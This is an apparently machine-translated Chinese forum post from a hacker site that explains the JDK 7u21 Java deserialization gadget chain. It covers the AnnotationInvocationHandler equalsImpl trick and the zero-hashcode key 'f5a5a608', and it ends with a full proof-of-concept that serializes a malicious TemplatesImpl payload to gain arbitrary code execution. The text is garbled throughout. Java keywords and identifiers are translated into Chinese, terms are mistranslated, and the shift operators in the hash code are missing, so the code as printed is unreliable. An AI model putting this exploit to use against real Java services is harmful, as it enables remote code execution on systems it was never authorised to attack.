H

Java反序列化漏洞系列-5

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

JDK 7U21 Gadget​

问题
先前的文章使用第三方库介绍了避免利用链。当不存在合适的第三方图书馆时,是否仍然可以利用Java挑战。
首先,有一个Java避免使用链,它不依赖第三方库,但是新的Java版本中没有这样的问题。

1 原理​

JDK7U21的核心点是sun.reflect.annotation.annotationInvocationHandler,此类在先前的分析中已提及。在AnnotationInvocation Handler类中有一个equalsimpl方法:
202109011129205.png-water_print

反射呼叫:MemberMethod.Invoke(O)和MemberMethod来自this.type.getDeclaredMethods()。
202109011135011.png-water_print

换句话说,EqualsImpl方法遍历并执行此.Type类中的所有方法。然后,假设此.Type是模板类,则将不可避免地调用NewTransFormer()或GetOutputProperties()方法,并且将触发任意代码执行。这是JDK7U21的核心原理。

2 构造​

当前的想法是通过避难所化来调用equalsimpl。 EqualsImpl是一种私人方法,称为AnnotationInvocationHandler#Invoke:
202109011138481.png-water_print

InvocationHandler是一个接口,仅调用一种方法。
如上一篇文章所述,当使用Java.Reflect.proxy动态绑定接口时,如果调用接口中的任何方法,它将执行以命令Handler#Invoke。执行调用时,传递的第一个参数是代理对象,第二个参数是要执行的方法名称,第三个参数是执行过程中的参数列表。
AnnotationInvocationHandler是InvocationHandler接口的实现,其调用方法:
202109011146720.png-water_print

可以看出,当方法名称是平等的,并且只有一个对象类型参数时,将调用平等IMPL方法。因此,现在的问题是找到一种在供应时调用代理上的等价方法的方法。

3 调用链​

比较Java对象时使用两种常见方法:
平等
比较
任何Java对象都有等效方法,通常用于比较两个对象是否是同一引用。设置了另一个称为平均值的常见场景。不允许将存储在集合中的对象重复重复,因此在添加对象时,将不可避免地会涉及比较操作。
Hashset的ReadObject方法:
202109011151879.png-water_print

这里使用了一个哈希图,该哈希图将对象保存在哈希图的键上以删除重载。
跟进Hashmap的PUT方法:
202109011153259.png-water_print

变量i是哈希值。只有当两个不同对象是平等的i时,将执行键(k)以触发上面提到的代码执行。
下一个想法是使代理对象的哈希对象等于templateImpl对象的哈希。
计算哈希的主要内容是以下两行代码:
1
2
int哈希=哈希(key);
int i=indexfor(hash,table.length);
提取关键逻辑,您可以获得以下功能:
1
2
3
4
5
6
7
public static int哈希(对象键){
int H=0;
h ^=key.hashcode();
h ^=(H 20) ^(H 12);
h=h ^(h 7) ^(h 4);
返回h 15;
}
除了key.hashcode()之外,没有其他变量,因此,代理对象和TemplateImpl对象的哈希是否仅取决于两个对象的HashCode()返回值等于。 TemplateImpl's HashCode()是一种本机方法,每次运行时都会更改,这在理论上是不可预测的。因此,如果要使代理的hashcode()等于它,则只能使用proxy.hashcode()。
proxy.hashcode()仍将致电AnnotationInvocationHandler#Invoke,然后致电AnnotationInvocationHandler#HashCodeImpl,然后在此方法:上跟进
202109011157332.png-water_print

通过此地图中的每个键和值迭代,计算每个键(127 * key.hashcode()) ^ value.hashcode()并汇总。
JDK7U21中使用了一种非常聪明的方法:
如果在成员节中只有一个键和一个值时,将哈希简化为(127 * key.hashcode()) ^ value.hashcode()
当key.hashcode()==0时,任何数字XOR 0的结果仍然是本身,因此简化了哈希为value.hashcode()
当值为templateImpl时,两个哈希将完全相等
因此,通过寻找哈希码为0的对象的键并使用恶意模板对象作为值,代理计算得出的哈希码等于TemplateImpl对象本身的哈希码。
找到具有HashCode 0的对象,并通过简单的爆炸程序实现它:
1
2
3
4
5
6
7
8
公共静态void brutehashcode()
{
对于(长i=0; i 99999999999l; i ++){
if(long.tohexstring(i).hashcode()==0){
system.out.println(long.tohexstring(i));
}
}
}
第一个结果是F5A5A608,它也是yserial中使用的字符串。

4 总结​

请按照以下步骤构建:
生成恶意模板对象
实例化AnnotationInvocationHandler对象
类型属性是TemplateImpl类
MemberValues属性是一个地图,该地图只有一个密钥和值。钥匙是一个字符串。该值是前面生成的恶意模板对象。
为此AntotationInvocationHandler对象制作代理层并生成代理对象
实例化一个主题集,其中有两个要素,即:
TemplateImpl对象
代理对象
序列化标签对象
触发代码执行的避免触发的过程如下:
触发标签的ReadObject方法,其中使用hashmap键用于剥落
使用重复数据删除时,计算标签中两个元素的哈希码,然后通过构造相同的构建来触发equals()方法。
调用AnnotationInvocationHandler#equalsimpl方法
遍历equalsimpl中的每种方法。
this.type是templateSimpl类,因此触发了newTransform()或getOutputProperties()方法
执行任何代码
POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
封装main.java;
导入com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl;
导入com.sun.org.apache.xalan.internal.xsltc.trax.trax.transformerfactoryimpl;
导入javax.xml.transform.templates;
导入Java.io.ByTearRayInputStream;
导入java.io.bytearrayoutputstream;
导入java.io.io.objectInputStream;
导入java.io.io.objectOutputstream;
导入java.lang.reflect.constructor;
导入java.lang.reflect.field;
导入java.lang.reflect.invocationhandler;
导入java.lang.reflect.proxy;
导入java.nio.file.files;
导入java.nio.file.paths;
导入java.util.hashmap;
导入java.util.hashset;
导入java.util.linkedhashset;
导入java.util.map;
公共类OriginalGadgetDemo {
public static void main(string [] args)抛出异常{
byte [] code=files.readallBytes(paths.get('/polumes/macos/workspace/java/7u21gadget/src/main/java/java/eviltemplatesimpl.class'));
TemplateSimpl模板=new TemplateSimpl();
setFieldValue(模板,'_bytecodes',new byte [] [] [] {code});
setFieldValue(模板,'_name','HelloteMplateSimpl');
setFieldValue(模板,'_tfactory',new TransformerFactoryImpl());
字符串ZeroHashCodEstr='F5A5A608';
//实例化地图并添加魔术数字作为键,即F5A5A608,首先设置一个值
hashmap map=new hashmap();
map.put(ZeroHashCodestr,'foo');
//实例化AnnotationInvocationHandler类
constructor handlerConstructor=class.forname('sun.reflect.annotation.annotationInvocationHandler')。getDeclaredConstructor(class.class,map.class);
HandlerConstructor.setAccessible(true);
InvocationHandler temphandler=(InvocationHandler)HandlerConstructor.newinstance(templates.Class,Map);
//为Temphandler创建一层代理
模板proxy=(模板)proxy.newproxyinstance(OriginalGadgetDemo.class.getClassLoader(),new Class [] {] {templates.class.class},temphandler);
//实例化标签并将两个对象放入其中
hashset set=new linkedhashset();
set.Add(模板);
set.Add(代理);
//将恶意模板设置为地图
map.put(ZeroHashCodestr,模板);
ByTearRayOutputStream barr=new ByTearRayOutputStream();
ObjectOutputStream OOS=new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
//system.out.println(barr);
ObjectInputStream ois=new ObjectInputStream(new ByTearRayInputStream(barr.tobytearray()));
对象o=(object)ois.readObject();
}
public static void setFieldValue(Object OBJ,字符串字段名称,对象值)引发异常{
field field=obj.getClass()。getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

参考​

Phith0n Java聊天系列
关于Java避难所脆弱性原理的分析
从开始到结束
从0学习Java避难所漏洞
了解Java避难所漏洞
Java避难链完成计划
使用链分析的下议院聚会
深入的Java天然挑选jdk7u21利用链分析
 
后退
顶部